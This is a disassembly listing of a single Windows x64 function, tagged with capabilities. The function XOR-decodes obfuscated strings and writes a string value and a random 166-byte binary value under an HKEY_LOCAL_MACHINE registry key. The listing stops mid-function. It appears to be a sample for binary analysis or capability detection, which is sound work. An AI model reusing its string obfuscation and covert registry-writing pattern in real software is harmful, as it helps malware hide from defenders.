Function at 0x140010270
Capabilities:
Check if file exists
Encode data using xor
Get system firmware table
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x438]
sub rsp, 0x510
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x14008c090]
xor rax, rsp
mov qword [rbp + 0x3d0], rax
xor r13d, r13d
lea rcx, [rbp + 0x160]
call fcn.14000fdc0
movups xmm0, xmmword [0x140071158]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140071168]
movups xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [0x140071178]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140071180]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x140071184]
mov byte [rsp + 0x7c], al
mov r8d, r13d
lea edi, [r13 + 4]
lea r14d, [r13 + 0x1f]
mov esi, dword [0x14008c098]
cmp esi, 2
jl 0x140010457
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140010350
cmp r8d, 0x2d
jge 0x1400104a2
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140010470
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r12, 0xffffffffffffffff
test eax, eax
jne 0x1400107e6
movsd xmm0, qword [str.fEW_OXHtZ_]
movsd qword [rbp - 0x40], xmm0
movzx eax, word [0x1400714c8]
mov word [rbp - 0x38], ax
cmp byte [0x1400714c9], r13b
je 0x14001051e
mov byte [rbp - 0x40], 0x50
xor byte [rbp - 0x3f], 0x37
xor byte [rbp - 0x3e], 0x38
xor byte [rbp - 0x3d], 0x39
xor byte [rbp - 0x3c], 0x3a
xor byte [rbp - 0x3b], 0x3b
xor byte [rbp - 0x3a], 0x3c
xor byte [rbp - 0x39], 0x3d
xor byte [rbp - 0x38], 0x3e
xor byte [rbp - 0x37], 0x3f
lea rcx, [rbp + 0x160]
mov rax, r12
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], r13b
jne 0x140010530
inc eax
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x160]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp - 0x40]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400107d7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
movups xmm0, xmmword [str.sEJVHeOXJK___c]
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [0x140071200]
movsd qword [rsp + 0x40], xmm1
movzx ecx, word [0x140071208]
mov word [rsp + 0x48], cx
movzx ecx, byte [0x14007120a]
mov byte [rsp + 0x4a], cl
mov r8d, r13d
cmp esi, 2
jl 0x1400106f7
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400105f0
cmp r8d, 0x1b
jge 0x140010742
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140010710
movzx eax, word [0x140071188]
mov word [rbp - 0x60], ax
cmp byte [0x140071189], r13b
je 0x14001075e
mov byte [rbp - 0x60], 0x2d
xor byte [rbp - 0x5f], 0x37
movsd xmm0, qword [str.fEW_OXHtZ_]
movsd qword [rbp - 0x40], xmm0
movzx eax, word [0x1400714c8]
mov word [rbp - 0x38], ax
movups xmm0, xmmword [0x140071158]
movaps xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140071168]
movaps xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [0x140071178]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140071180]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x140071184]
mov byte [rsp + 0x7c], al
mov dword [rsp + 0x28], r10d
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x60]
mov ecx, 0xc
call fcn.140001270
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140010a36
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
movups xmm0, xmmword [0x140071138]
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [0x140071148]
movsd qword [rsp + 0x40], xmm1
mov ecx, dword [0x140071150]
mov dword [rsp + 0x48], ecx
movzx ecx, word [0x140071154]
mov word [rsp + 0x4c], cx
cmp byte [0x140071155], r13b
je 0x1400109c2
mov r8d, r13d
cmp esi, 2
jl 0x140010977
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140010870
cmp r8d, 0x1e
jge 0x1400109c2
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140010990
movzx eax, word [0x140071188]
mov word [rbp - 0x60], ax
cmp byte [0x140071189], r13b
je 0x1400109de
mov byte [rbp - 0x60], 0x2d
xor byte [rbp - 0x5f], 0x37
movups xmm0, xmmword [0x140071158]
movaps xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140071168]
movaps xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [0x140071178]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140071180]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x140071184]
mov byte [rsp + 0x7c], al
mov dword [rsp + 0x20], r10d
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x60]
mov ecx, 0xc
call fcn.140001270
movups xmm0, xmmword [0x1400715b0]
movups xmmword [rbp - 0x40], xmm0
mov eax, dword [str.fb_I]
mov dword [rbp - 0x30], eax
cmp byte [0x1400715c3], r13b
je 0x140010bf2
mov r8d, r13d
cmp esi, 2
jl 0x140010ba7
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x3c]
mov edx, dword [rbp - 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140010aa0
cmp r8d, 0x14
jge 0x140010bf2
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140010bc0
movzx eax, word [0x1400711dc]
mov word [rbp - 0x60], ax
cmp byte [0x1400711dd], r13b
je 0x140010c0e
mov byte [rbp - 0x60], 0x2b
xor byte [rbp - 0x5f], 0x37
lea r9, [rbp + 0x160]
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x60]
mov ecx, 0xa
call fcn.140001270
mov rbx, r13
nop word [rax + rax]
call fcn.14002e090
and eax, 0x800000ff
jge 0x140010c45
dec eax
or eax, 0xffffff00
inc eax
mov byte [rbp + rbx + 0x1b0], al
inc rbx
cmp rbx, 0xa6
jl 0x140010c30
movups xmm0, xmmword [0x140071158]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140071168]
movups xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [0x140071178]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140071180]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x140071184]
mov byte [rsp + 0x7c], al
mov r8d, r13d
cmp esi, 2
jl 0x140010de7
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140010ce0
cmp r8d, 0x2d
jge 0x140010e32
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140010e00
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400112b3
movups xmm0, xmmword [str.r_PNZPmLP_4_7_r_F]
movups xmmword [rbp - 0x40], xmm0
movzx eax, byte [0x140071340]
mov byte [rbp - 0x30], al
mov r8d, r13d
cmp esi, 2
jl 0x140010fc7
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x3c]
mov edx, dword [rbp - 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140010ec0
cmp r8d, 0x11
jge 0x140011012
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140010fe0
mov dword [rsp + 0x28], 0xa6
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
lea rdx, [rbp - 0x40]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400112a4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
movups xmm0, xmmword [str.sEJVHeOXJK___c]
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [0x140071200]
movsd qword [rsp + 0x40], xmm1
movzx ecx, word [0x140071208]
mov word [rsp + 0x48], cx
movzx ecx, byte [0x14007120a]
mov byte [rsp + 0x4a], cl
mov r8d, r13d
cmp esi, 2
jl 0x1400111c8
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400110c1
cmp r8d, 0x1b
jge 0x140011212
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400111e0
movzx eax, word [0x140071188]
mov word [rbp - 0x60], ax
cmp byte [0x140071189], r13b
je 0x14001122e
mov byte [rbp - 0x60], 0x2d
xor byte [rbp - 0x5f], 0x37
movups xmm0, xmmword [str.r_PNZPmLP_4_7_r_F]
movaps xmmword [rbp - 0x40], xmm0
movzx eax, byte [0x140071340]
mov byte [rbp - 0x30], al
movups xmm0, xmmword [0x140071158]
movaps xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140071168]
movaps xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [0x140071178]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140071180]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x140071184]
mov byte [rsp + 0x7c], al
mov dword [rsp + 0x28], r10d
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x60]
mov ecx, 0xc
call fcn.140001270
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140011506
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
movups xmm0, xmmword [0x140071138]
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [0x140071148]
movsd qword [rsp + 0x40], xmm1
mov ecx, dword [0x140071150]
mov dword [rsp + 0x48], ecx
movzx ecx, word [0x140071154]
mov word [rsp + 0x4c], cx
cmp byte [0x140071155], r13b
je 0x140011492
mov r8d, r13d
cmp esi, 2
jl 0x140011447
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rbp - 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140011340
cmp r8d, 0x1e
jge 0x140011492
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140011460
movzx eax, word [0x140071188]
mov word [rbp - 0x60], ax
cmp byte [0x140071189], r13b
je 0x1400114ae
mov byte [rbp - 0x60], 0x2d
xor byte [rbp - 0x5f], 0x37
movups xmm0, xmmword [0x140071158]
movaps xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140071168]
movaps xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [0x140071178]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140071180]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x140071184]
mov byte [rsp + 0x7c], al
